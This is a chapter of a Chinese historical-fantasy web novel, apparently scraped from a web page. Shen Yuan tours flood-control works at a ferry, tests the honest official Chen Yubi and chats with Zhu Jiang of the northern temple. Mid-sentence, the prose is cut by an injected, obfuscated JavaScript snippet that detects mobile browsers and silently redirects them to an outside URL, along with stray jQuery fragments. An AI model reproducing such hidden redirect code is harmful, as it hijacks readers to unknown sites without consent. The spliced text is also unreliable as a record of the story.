与此同时，胜州渡口前。
待船客们散得七七八八，一个粗豪的嗓门就从船里响了起来：
“老李！你赶紧瞅瞅，这回要怎么个修法？”
老李从脚边捡起块白土子，认真琢磨半天，便在甲板上画起来：
“这里，吃劲最大。得用四寸的大铲钉，最少这个数。”
他伸出粗厚的手掌，五指岔开。
“五十个？”孟黑虎凑近了些。
“嗯。”老李应着，又在旁边画了几个小圈，“这些地方用蚂蟥钉咬住，能省些。但一拃厚的松木板，至少还得补十块。另外，半寸的铁铆钉，先备三十斤。”
孟黑虎巴掌蹭着下巴颏儿，盘算着这又是一笔不小的开销。
若是账房跟他这么说，他早吼开了，可对着老李，他也只是嘬了嘬牙花子：
“老李，平常可没这么多……”
老李这才抬起头：“当家的，料备足些，修得踏实，往后跑起来才敢放心使力气，不至于半道趴窝。”
孟黑虎盯着老李那张满是皱纹的脸，又低头看了看这艘陪他风里来、雨里去的宝船，猛地一拍大腿：
“成！就按你说的办！该买的料，一文钱也不省！”
日光照在老李花白的鬓角上，他点了点头，复又弯下腰去，继续端详船身。
沈渊立在码头前，正吩咐杨瓒去寻仵作验尸。船上那关于木料钉子的对话随风飘来，他忽然心下一动。
赶巧陈四像个跳脱的猢狲从旁窜过，沈渊随手拎住他后领，问道：
“那边蹲着的老船工，什么来历？”
陈四被勒得舌头差点吐出来，赶忙摸了摸脖子，心有余悸地说：
“回阁下的话，那人是老李，修船的手艺没得说！跟着咱们船队跑好些年了。”
说着，他忽然“哎”了一声：
“您不认得他么？这回在灵州租船，都是他揽的客啊！”
杨瓒这时还在等人去牵马，闻言便接道：
“的确未曾见过。当初在灵州接洽的是个叫顺子的年轻人，看着不过二十出头。”
“噢！那是老李的徒弟。”陈四想当然地说，“许是老李年纪大了，便让徒弟跑腿传话来着。”
沈渊听罢却若有所思，不由多打量老李几眼。收回视线时，正瞥见个被同僚推出来的绿袍参军。
只见其官袍虽旧，脊梁却挺得笔直如松，无甚谄媚之态。沈渊看他还算顺眼，便随口点道：
“你，过来。”
陈参军闻言，端端正正地一拱手：
“中郎将有何吩咐？”
“陪本官四处走走。”
沈渊淡淡吩咐一句，便迈开步子，沿着新修的堤岸行去。
陈参军整了整乌纱帽，亦步亦趋地跟在后头。
走出十数步，沈渊方才开口，问的却是河道上的事：
“此段河道，平日水深几何？遇汛期又涨几许？”
陈参军虽有些紧张，答起话来却是有条不紊：
“回禀中郎将，此地平日水深一丈有二，若逢连日暴雨，恐漫过三丈，有决堤之险。”
沈渊“嗯”了一声，又问：“堤岸加固，用的是何种工法？”
“胜州堤坝皆是用木龙桩打入河底深处，再以垒石之法砌成。因地动后民力不足，郑使君便开放官仓，以工代赈，每日用工三百余人，皆管两餐，另有钱米发下。”
这番对答，详尽清晰，显然是心思多用在实事上。
沈渊心中微动，再开口时，考校得便更深了些：
“历来大灾之后，必有大疫，此事胜州府可有章程？”
这已不是工事，而是民生大计，远超他一个小小参军的职责范围。
陈参军却未被问住，依旧应对如流：“中郎将容禀，郑使君先前早已下令，通告阖城百姓，非滚沸之水不得入口。更严令禁绝私下捕鱼捞虾，恐食河中病死鱼鲜，反害性命。”
“城中各处井水，皆按时辰投放石灰与防疫药草。府衙更贴出告示，若有百姓咳嗽发热，须即刻报官，由专人送至城外草庐医治，绝不许拖延隐瞒。”
他说得恳切，沈渊听得入神，心中已有几分赞许。
跟在后头的几个小吏却是悄悄挤眉弄眼，拿眼神互递着话。
却说这位陈参军，原是京中工部员外郎。听说是为人过于刚正，得罪了上头某位宰相，被贬来胜州后也不予实职，只道“听候调用”。
平日里，大伙儿见他是个被贬的京官，又是一副不苟言笑的倔脾气，都对他敬而远之。
这回胜州地动后，府衙人手奇缺，郑刺史忽然想起有这么个“闲人”，便将他派来渡口值守。
谁想今日倒真派上用场，正好应付这位从京里来的贵人。
到底是在金陵见过大世面的嘛，肚子里果然有些墨水。
沈渊停下脚步，正眼看向身后这位国字脸的参军。
“你叫什么名字？”
那男人闻言，忙躬身拱手，恭恭敬敬地答道：
“下官陈于陛。”
陈于陛……
沈渊将这名字在唇齿间默念两遍，一双深邃丹凤眸，定定望向他。
“你——”
沈渊停顿半晌，方才意味深长地说道：
“不错。”
尾音沉甸甸的，带着一种与生俱来的威仪，仿佛不是赞许，而是定论。
这般天潢贵胄的派头，寻常官宦人家是断然学不来的。
陈于陛望着沈渊背影，挠了挠后脑勺，只觉这位中郎将的腔调与姿态，似在哪儿见过，颇为熟悉。可任他如何去想，也琢磨不出个所以然来。
他素来有个毛病，不大记得住人脸，便也从不给任何人面子。
当初在工部，便是因一项渠务修造的银钱数目不对，他一根筋地揪着不放，非要查个水落石出，最终捅到宰相门生那里，这才落得个被贬的下场。
沈渊重新将目光投向河道，忽而眯眼发问：
“这河道改治之法，是谁的手笔？瞧着颇有章法。”
陈于陛收回思绪，忙答：
“是北域神殿送来的图纸。她们世代居于大河之畔，于治理水患一道，极有心得。郑使君看罢图纸，也说其中诸多建言，切中肯綮，大有裨益。”
他指着远处道：“胜州水患本不算严重，只须提防连日暴雨即可。但若能从此处开始治理，待大河流经水患常发的洛、汴二州时，便可大大减轻泛滥之危。”
正说着话，对面又有一行人说说笑笑地走来，皆是披纱袍的女子。
陈于陛瞧见后，立马对沈渊说道：
“中郎将，那边便是神女祠的娘子们。”
沈渊闻言，下意识地回身望去，一眼便看见了走在最前头的那个人。
四目相对，不禁都是一怔。
二人谁也没想到，他们竟不是在瑞鹤楼里碰头，而是在河道边上先见着面，彼此心里都生出几分稀罕来。
兰娘子此刻正陪在祝姯身侧，指着那初具雏形的河渠，含笑说起旧事：
“神使您瞧，当年我便是从这条兰渠上，被玛奼捡回祠中的。后来，我便择了‘兰’字为姓。”
祝姯闻言，这才从对视中回过神来，侧首应和：“草木有本心，渠水更含灵。你有这段缘法，也是难得。”
笑语一番后，她又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704576|187901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对兰娘子说：
“如今祠中婴孩众多，缺不得照拂。兰娘子先回去看顾罢，我只在此处随意逛逛，稍后便自行回客栈了。”
兰娘子应了声“好”，带人先行离开。
那头，沈渊也挥了挥手，将陈于陛等人打发下去。
待闲杂人等悉数散尽，他这才缓步踱过来：
“祝娘子怎的在此？”
明明分开尚不足半日，可在这陌生的胜州城中乍然相见，祝姯竟无端生出一种他乡遇故知之感。心头松快，腮边便不禁绽开酒窝。
她扬了扬手中那卷河道图纸，玩笑道：
“这河道改制，一砖一石，可都是我们神殿拿真金白银填出来的。我自然要来瞧瞧，银子有没有花在刀刃上。”
沈渊闻言，唇角也泛起笑意。
他与她并肩而行，心中却知，这话半分不假。
北行愈深，神女香火便愈盛。胜州地界，受神殿影响仍旧很大。
北域坐拥金矿宝矿无数，王都外甚至有条河，就唤作“洒金河”。
因其上游常年淘金，以至大量金粉流入河中，在日光下粼粼生辉。
这么一块流油的肥肉，天下无人不眼馋。可因有神女镇守，数百年来，也无人敢轻举妄动。
发兵北域，便意味着进犯神殿。天下信众的怒火，还没有哪个帝王能承受得住。
沈渊沉思无话，这回倒轮到祝姯发问。
“你呢？”她偏头看他，眼中满是好奇，“你不是金吾卫么？怎的也管起河道上的事了？”
难道……
祝姯忽然侧过身，将他前路一挡，仰起脸来瞧他，讶声问：
“你是钦差呀？”
沈渊被她这突如其来的举动弄得一愣，竟不知该如何分说，索性由着她误会下去。
祝姯见他不语，只当是默认，愈发觉得新奇。
她胆子也大了起来，竟抬手去摸他腰间佩剑，一双眼睛亮汪汪的，满是兴奋：
“这个是尚方宝剑么？能先斩后奏的那种？”
沈渊垂下眼睑，见她白皙纤长的手指，轻轻搭在乌黑剑鞘上。黑白分明的景象，十分晃眼。
他不禁轻笑一声，心道斩几个贪官污吏，何须尚方宝剑？
用不着沈渊接话，祝姯已全然沉浸在自己的畅想里。
她还有模有样地并起双指，在半空中虚虚一划，口中念念有词：
“呔！狗官拿命来！”
沈渊闻言，再也忍俊不禁，撑着额角笑个不停。好容易缓过气儿后，又抽空逗她：
“原来北域百姓，也爱听戏文？”
祝姯一张俏脸顿时垮了下来，没好气地白他：
“你这人，瞧不起谁呢？”
“往前数上几百年，这中原九州都是我们大虞的疆土！”
三十年河东，三十年河西，谁祖上还不曾风光过？
沈渊挨了一记粉拳，赶忙从善如流地应道：
“是是是，娘子所言极是。”
话音里还带着压不住的笑意，祝姯扭头哼了一声，自顾自地往前走。
春日里的日头，一旦上了中天，便有些暖融融的，照在人身上，说不出的舒坦。
河风徐来，吹得堤岸边的柳丝如烟拂动，星星点点的鹅黄，瞧着便是一派生机。
沈渊见她迎着风，不自觉地眯了眯眼，那双素来清亮的眸子里，透出几分浅浅倦意。
猜着祝姯是困了，他放缓步子，提议道：
“我已命人备下马车，待会儿便先送娘子回瑞鹤楼。”
说罢，他又温声问道：
“这几日在胜州府，娘子可有什么安排？”